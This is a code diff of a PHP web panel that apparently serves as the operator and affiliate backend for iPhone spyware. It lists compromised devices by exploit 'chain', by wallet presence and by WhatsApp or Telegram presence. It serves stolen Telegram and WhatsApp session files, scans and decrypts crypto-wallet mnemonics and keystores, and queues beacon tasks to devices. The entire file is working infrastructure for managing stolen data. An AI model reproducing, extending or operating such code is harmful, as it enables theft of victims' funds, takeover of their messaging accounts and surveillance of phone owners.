'kind' => $row->kind,
|
||||||
|
'account_id' => $row->account_id ?: '',
|
||||||
|
'phone' => $row->phone ?: '',
|
||||||
|
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||||
|
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||||
|
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||||
|
? route($portal.'.sessions.tdata', $row, false)
|
||||||
|
: '',
|
||||||
|
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||||
|
? route($portal.'.sessions.session-file', $row, false)
|
||||||
|
: '',
|
||||||
|
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||||
|
? route($portal.'.sessions.ws-full', $row, false)
|
||||||
|
: '',
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
|
]);
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($paginator->total(), $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||||
|
{
|
||||||
|
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||||
|
$note = $noteId !== null ? Note::query()->find($noteId) : null;
|
||||||
|
$items = $note ? $note->items() : [];
|
||||||
|
if (strtolower($order) === 'asc') {
|
||||||
|
$items = array_reverse($items);
|
||||||
|
}
|
||||||
|
$total = count($items);
|
||||||
|
$slice = array_slice($items, ($page - 1) * $limit, $limit);
|
||||||
|
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
|
||||||
|
$scans = $note
|
||||||
|
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
|
||||||
|
: collect();
|
||||||
|
$showScan = $this->agentCanSeeScan();
|
||||||
|
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans, $showScan) {
|
||||||
|
$index = (($page - 1) * $limit) + $i;
|
||||||
|
$key = \App\Models\NoteScan::itemKey($item, $index);
|
||||||
|
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $index + 1,
|
||||||
|
'title' => $item['title'] ?? '',
|
||||||
|
'body' => $item['body'] ?? '',
|
||||||
|
'scan_status' => $showScan ? $status : 0,
|
||||||
|
'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label($status) : '',
|
||||||
|
'created_at' => $reportedAt ?: '',
|
||||||
|
];
|
||||||
|
});
|
||||||
|
|
||||||
|
$scan = $showScan
|
||||||
|
? app(\App\Services\MnemonicScanService::class)->noteProgress($device)
|
||||||
|
: null;
|
||||||
|
|
||||||
|
return $this->layuiPage($total, $data, $scan);
|
||||||
|
}
|
||||||
|
|
||||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
||||||
@@ -315,38 +844,62 @@ class DeviceController extends Controller
|
|||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($paginator->total(), $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
private function agentCanSeeScan(): bool
|
||||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
|
||||||
*/
|
|
||||||
private function layuiPage(int $count, $data)
|
|
||||||
{
|
{
|
||||||
return response()->json([
|
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||||
|
*/
|
||||||
|
private function layuiPage(int $count, $data, ?array $scan = null)
|
||||||
|
{
|
||||||
|
$payload = [
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => '',
|
'msg' => '',
|
||||||
'count' => $count,
|
'count' => $count,
|
||||||
'data' => $data,
|
'data' => $data,
|
||||||
]);
|
];
|
||||||
|
if ($scan !== null) {
|
||||||
|
$payload['scan'] = $scan;
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json($payload);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
|
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int}
|
||||||
*/
|
*/
|
||||||
private function filtersFrom(Request $request): array
|
private function filtersFrom(Request $request): array
|
||||||
{
|
{
|
||||||
|
$hasWallet = $request->query('has_wallet');
|
||||||
|
$hasWalletInt = null;
|
||||||
|
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||||
|
$hasWalletInt = (int) $hasWallet;
|
||||||
|
}
|
||||||
|
$hasIm = strtolower(trim((string) $request->query('has_im', '')));
|
||||||
|
if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) {
|
||||||
|
$hasIm = '';
|
||||||
|
}
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'device_key' => trim((string) $request->query('device_key', '')),
|
'device_key' => trim((string) $request->query('device_key', '')),
|
||||||
|
'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))),
|
||||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||||
'model' => trim((string) $request->query('model', '')),
|
'model' => trim((string) $request->query('model', '')),
|
||||||
'ip' => trim((string) $request->query('ip', '')),
|
'ip' => trim((string) $request->query('ip', '')),
|
||||||
'ios' => trim((string) $request->query('ios', '')),
|
'ios' => trim((string) $request->query('ios', '')),
|
||||||
|
'country' => CfIpCountry::normalize((string) $request->query('country', '')),
|
||||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||||
'agent_user_id' => (int) $request->query('agent_user_id', 0),
|
'has_wallet' => $hasWalletInt,
|
||||||
|
'has_im' => $hasIm,
|
||||||
|
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
|
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, country: ?string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||||
*/
|
*/
|
||||||
private function filteredQuery(array $filters): Builder
|
private function filteredQuery(array $filters): Builder
|
||||||
{
|
{
|
||||||
@@ -356,6 +909,9 @@ class DeviceController extends Controller
|
|||||||
if ($filters['device_key'] !== '') {
|
if ($filters['device_key'] !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||||
}
|
}
|
||||||
|
if ($filters['chain'] !== null) {
|
||||||
|
$q->where('devices.chain', $filters['chain']);
|
||||||
|
}
|
||||||
if ($filters['channel_id'] !== '') {
|
if ($filters['channel_id'] !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||||
}
|
}
|
||||||
@@ -368,16 +924,139 @@ class DeviceController extends Controller
|
|||||||
if ($filters['ios'] !== '') {
|
if ($filters['ios'] !== '') {
|
||||||
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
||||||
}
|
}
|
||||||
|
if ($filters['country'] !== null) {
|
||||||
|
$q->where('devices.country', $filters['country']);
|
||||||
|
}
|
||||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
||||||
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
||||||
}
|
}
|
||||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||||
}
|
}
|
||||||
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
|
if ($filters['has_wallet'] !== null) {
|
||||||
|
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||||
|
}
|
||||||
|
if ($filters['has_im'] === 'yes') {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
$inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true);
|
||||||
|
});
|
||||||
|
} elseif ($filters['has_im'] === 'none') {
|
||||||
|
$q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false);
|
||||||
|
} elseif ($filters['has_im'] === 'whatsapp') {
|
||||||
|
$q->where('devices.has_whatsapp', true);
|
||||||
|
} elseif ($filters['has_im'] === 'telegram') {
|
||||||
|
$q->where('devices.has_telegram', true);
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function parseChainFilter(mixed $raw): ?int
|
||||||
|
{
|
||||||
|
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||||
|
if ($value === '' || $value === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||||
|
return Device::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||||
|
return Device::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||||
|
return Device::CHAIN_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function canClearPhotos(): bool
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin instanceof Admin && $admin->isSuper();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Beacon queue management ────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Add a task to the device's beacon queue.
|
||||||
|
*/
|
||||||
|
public function queueAdd(Device $device, Request $request)
|
||||||
|
{
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
$request->validate([
|
||||||
|
'type' => 'required|string|max:64',
|
||||||
|
'params' => 'nullable|array',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$type = (string) $request->input('type');
|
||||||
|
$params = $request->input('params');
|
||||||
|
|
||||||
|
/** @var DsBeaconQueue $queue */
|
||||||
|
$queue = app(DsBeaconQueue::class);
|
||||||
|
$task = $queue->addTask($device, $type, $params);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => "已添加任务: {$task['type']}",
|
||||||
|
'data' => $task,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Remove a task from the device's beacon queue.
|
||||||
|
*/
|
||||||
|
public function queueRemove(Device $device, Request $request)
|
||||||
|
{
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
$request->validate([
|
||||||
|
'task_id' => 'required|string',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$taskId = (string) $request->input('task_id');
|
||||||
|
|
||||||
|
/** @var DsBeaconQueue $queue */
|
||||||
|
$queue = app(DsBeaconQueue::class);
|
||||||
|
$removed = $queue->removeTask($device, $taskId);
|
||||||
|
|
||||||
|
if (! $removed) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '任务不存在或已下发',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '已移除任务',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reorder tasks in the device's beacon queue.
|
||||||
|
*/
|
||||||
|
public function queueReorder(Device $device, Request $request)
|
||||||
|
{
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
$request->validate([
|
||||||
|
'task_ids' => 'required|array',
|
||||||
|
'task_ids.*' => 'integer',
|
||||||
|
]);
|
||||||
|
|
||||||
|
/** @var DsBeaconQueue $queue */
|
||||||
|
$queue = app(DsBeaconQueue::class);
|
||||||
|
$queue->reorderTasks($device, $request->input('task_ids', []));
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '队列顺序已更新',
|
||||||
|
]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Services\FilterOptionsService;
|
||||||
|
|
||||||
|
class FilterOptionsController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly FilterOptionsService $options,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function channels()
|
||||||
|
{
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => $this->options->channelOptions($this->agent()),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function agents()
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => $this->options->agentOptions(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,8 +2,10 @@
|
|||||||
|
|
||||||
namespace App\Http\Controllers\Admin;
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
|
use App\Models\User;
|
||||||
use App\Services\AdminGoogle2fa;
|
use App\Services\AdminGoogle2fa;
|
||||||
use Illuminate\Http\JsonResponse;
|
use Illuminate\Http\JsonResponse;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
@@ -11,21 +13,22 @@ use Illuminate\Support\Facades\Hash;
|
|||||||
|
|
||||||
class Google2faController extends Controller
|
class Google2faController extends Controller
|
||||||
{
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
/** @var Admin $admin */
|
$actor = $this->googleActor();
|
||||||
$admin = auth('admin')->user();
|
|
||||||
|
|
||||||
return view('admin.security.google2fa', [
|
return view('admin.security.google2fa', [
|
||||||
'enabled' => (int) $admin->google_auth_open === 1,
|
'enabled' => $actor->requiresLoginGoogle(),
|
||||||
'bound' => filled($admin->google_secret),
|
'bound' => $actor->hasGoogleBound(),
|
||||||
|
'routes' => $this->googleRoutes(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function prepare(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
public function prepare(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||||
{
|
{
|
||||||
/** @var Admin $admin */
|
$actor = $this->googleActor();
|
||||||
$admin = auth('admin')->user();
|
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'password' => ['required', 'string'],
|
'password' => ['required', 'string'],
|
||||||
@@ -33,18 +36,18 @@ class Google2faController extends Controller
|
|||||||
'password.required' => '登陆密码不能为空',
|
'password.required' => '登陆密码不能为空',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (! Hash::check($data['password'], $admin->password)) {
|
if (! Hash::check($data['password'], $actor->password)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if ((int) $admin->google_auth_open === 1 || filled($admin->google_secret)) {
|
if ((int) $actor->google_auth_open === 1 || filled($actor->google_secret)) {
|
||||||
return response()->json(['code' => 201, 'msg' => '您已绑定谷歌验证,可直接开启或关闭']);
|
return response()->json(['code' => 201, 'msg' => '您已绑定谷歌验证,可直接开启或关闭']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$secret = $google2fa->generateSecret();
|
$secret = $google2fa->generateSecret();
|
||||||
$request->session()->put('admin_google2fa_pending_secret', $secret);
|
$request->session()->put($this->pendingSecretKey(), $secret);
|
||||||
|
|
||||||
$otpAuthUrl = $google2fa->otpAuthUrl($admin, $secret);
|
$otpAuthUrl = $google2fa->otpAuthUrl($actor->username, $secret, $this->isAgentPortal() ? 'agent' : 'admin');
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
@@ -56,18 +59,18 @@ class Google2faController extends Controller
|
|||||||
|
|
||||||
public function bind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
public function bind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||||
{
|
{
|
||||||
/** @var Admin $admin */
|
$actor = $this->googleActor();
|
||||||
$admin = auth('admin')->user();
|
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'GAKey' => ['required', 'string', 'max:16'],
|
'GAKey' => ['required', 'string', 'max:16'],
|
||||||
'GASecret' => ['required', 'string', 'max:64'],
|
'GASecret' => ['required', 'string', 'max:64'],
|
||||||
|
'login_verify' => ['nullable', 'integer', 'in:0,1'],
|
||||||
], [
|
], [
|
||||||
'GAKey.required' => '请输入谷歌验证码',
|
'GAKey.required' => '请输入谷歌验证码',
|
||||||
'GASecret.required' => '参数不完整',
|
'GASecret.required' => '参数不完整',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$pending = (string) $request->session()->get('admin_google2fa_pending_secret', '');
|
$pending = (string) $request->session()->get($this->pendingSecretKey(), '');
|
||||||
if ($pending === '' || ! hash_equals($pending, $data['GASecret'])) {
|
if ($pending === '' || ! hash_equals($pending, $data['GASecret'])) {
|
||||||
return response()->json(['code' => 1, 'msg' => '绑定已过期,请重新获取二维码']);
|
return response()->json(['code' => 1, 'msg' => '绑定已过期,请重新获取二维码']);
|
||||||
}
|
}
|
||||||
@@ -76,20 +79,25 @@ class Google2faController extends Controller
|
|||||||
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
|
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$admin->forceFill([
|
$loginVerify = (int) ($data['login_verify'] ?? 0);
|
||||||
'google_auth_open' => 1,
|
$actor->forceFill([
|
||||||
|
'google_auth_open' => $loginVerify,
|
||||||
'google_secret' => $data['GASecret'],
|
'google_secret' => $data['GASecret'],
|
||||||
])->save();
|
])->save();
|
||||||
|
|
||||||
$request->session()->forget('admin_google2fa_pending_secret');
|
$request->session()->forget($this->pendingSecretKey());
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']);
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => $loginVerify === 1
|
||||||
|
? '绑定成功,下次登录需要输入谷歌验证码'
|
||||||
|
: '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证',
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||||
{
|
{
|
||||||
/** @var Admin $admin */
|
$actor = $this->googleActor();
|
||||||
$admin = auth('admin')->user();
|
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'password' => ['required', 'string'],
|
'password' => ['required', 'string'],
|
||||||
@@ -97,59 +105,91 @@ class Google2faController extends Controller
|
|||||||
'GACode' => ['nullable', 'string', 'max:16'],
|
'GACode' => ['nullable', 'string', 'max:16'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (! Hash::check($data['password'], $admin->password)) {
|
if (! Hash::check($data['password'], $actor->password)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (! filled($admin->google_secret)) {
|
if (! filled($actor->google_secret)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$open = (int) $data['open'];
|
$open = (int) $data['open'];
|
||||||
if ($open === 0) {
|
$code = (string) ($data['GACode'] ?? '');
|
||||||
$code = (string) ($data['GACode'] ?? '');
|
if (! $google2fa->verify((string) $actor->google_secret, $code)) {
|
||||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
$admin->forceFill(['google_auth_open' => $open])->save();
|
$actor->forceFill(['google_auth_open' => $open])->save();
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证',
|
'msg' => $open === 1
|
||||||
|
? '已开启登录谷歌验证'
|
||||||
|
: '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)',
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function unbind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
public function unbind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||||
{
|
{
|
||||||
/** @var Admin $admin */
|
$actor = $this->googleActor();
|
||||||
$admin = auth('admin')->user();
|
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'password' => ['required', 'string'],
|
'password' => ['required', 'string'],
|
||||||
'GACode' => ['required', 'string', 'max:16'],
|
'GACode' => ['required', 'string', 'max:16'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (! Hash::check($data['password'], $admin->password)) {
|
if (! Hash::check($data['password'], $actor->password)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (! filled($admin->google_secret)) {
|
if (! filled($actor->google_secret)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
|
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
|
||||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$admin->forceFill([
|
$actor->forceFill([
|
||||||
'google_auth_open' => 0,
|
'google_auth_open' => 0,
|
||||||
'google_secret' => null,
|
'google_secret' => null,
|
||||||
])->save();
|
])->save();
|
||||||
|
|
||||||
$request->session()->forget('admin_google2fa_pending_secret');
|
$request->session()->forget($this->pendingSecretKey());
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => '已解除谷歌验证绑定']);
|
return response()->json(['code' => 0, 'msg' => '已解除谷歌验证绑定']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function googleActor(): Admin|User
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
/** @var User $user */
|
||||||
|
$user = auth('agent')->user();
|
||||||
|
|
||||||
|
return $user;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @var Admin $admin */
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @return array{prepare: string, bind: string, toggle: string, unbind: string} */
|
||||||
|
private function googleRoutes(): array
|
||||||
|
{
|
||||||
|
$portal = $this->portal();
|
||||||
|
|
||||||
|
return [
|
||||||
|
'prepare' => route($portal.'.security.google2fa.prepare'),
|
||||||
|
'bind' => route($portal.'.security.google2fa.bind'),
|
||||||
|
'toggle' => route($portal.'.security.google2fa.toggle'),
|
||||||
|
'unbind' => route($portal.'.security.google2fa.unbind'),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function pendingSecretKey(): string
|
||||||
|
{
|
||||||
|
return $this->isAgentPortal() ? 'agent_google2fa_pending_secret' : 'admin_google2fa_pending_secret';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,456 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Models\WalletKeystore;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\DarkSwordIngestAdapter;
|
||||||
|
use App\Services\DsKeystoreDecrypt;
|
||||||
|
use App\Services\EthKeystore;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class KeystoreController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
$agents = $this->isAgentPortal()
|
||||||
|
? collect()
|
||||||
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||||
|
$sources = WalletKeystore::query()
|
||||||
|
->where('source', '!=', '')
|
||||||
|
->distinct()
|
||||||
|
->orderBy('source')
|
||||||
|
->pluck('source');
|
||||||
|
|
||||||
|
return view('admin.keystores.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'agents' => $agents,
|
||||||
|
'sources' => $sources,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$q = $this->baseQuery($request);
|
||||||
|
|
||||||
|
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
|
||||||
|
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$sortable[] = 'needs_password';
|
||||||
|
}
|
||||||
|
$field = (string) $request->query('field', 'id');
|
||||||
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
|
||||||
|
$q->orderBy('devices.chain', $order);
|
||||||
|
} else {
|
||||||
|
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||||
|
}
|
||||||
|
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||||
|
'devices.device_id as device_key',
|
||||||
|
'devices.channel_id as device_channel_id',
|
||||||
|
'devices.chain as device_chain',
|
||||||
|
]);
|
||||||
|
Log::info('keystore.list.data.start', [
|
||||||
|
'page' => $page,
|
||||||
|
'limit' => $limit,
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||||
|
// LENGTH(raw_json) in the select list forces MySQL to read large
|
||||||
|
// blobs during the ORDER BY sort, overflowing the sort buffer.
|
||||||
|
// Step 1: get paginated IDs (no blob access).
|
||||||
|
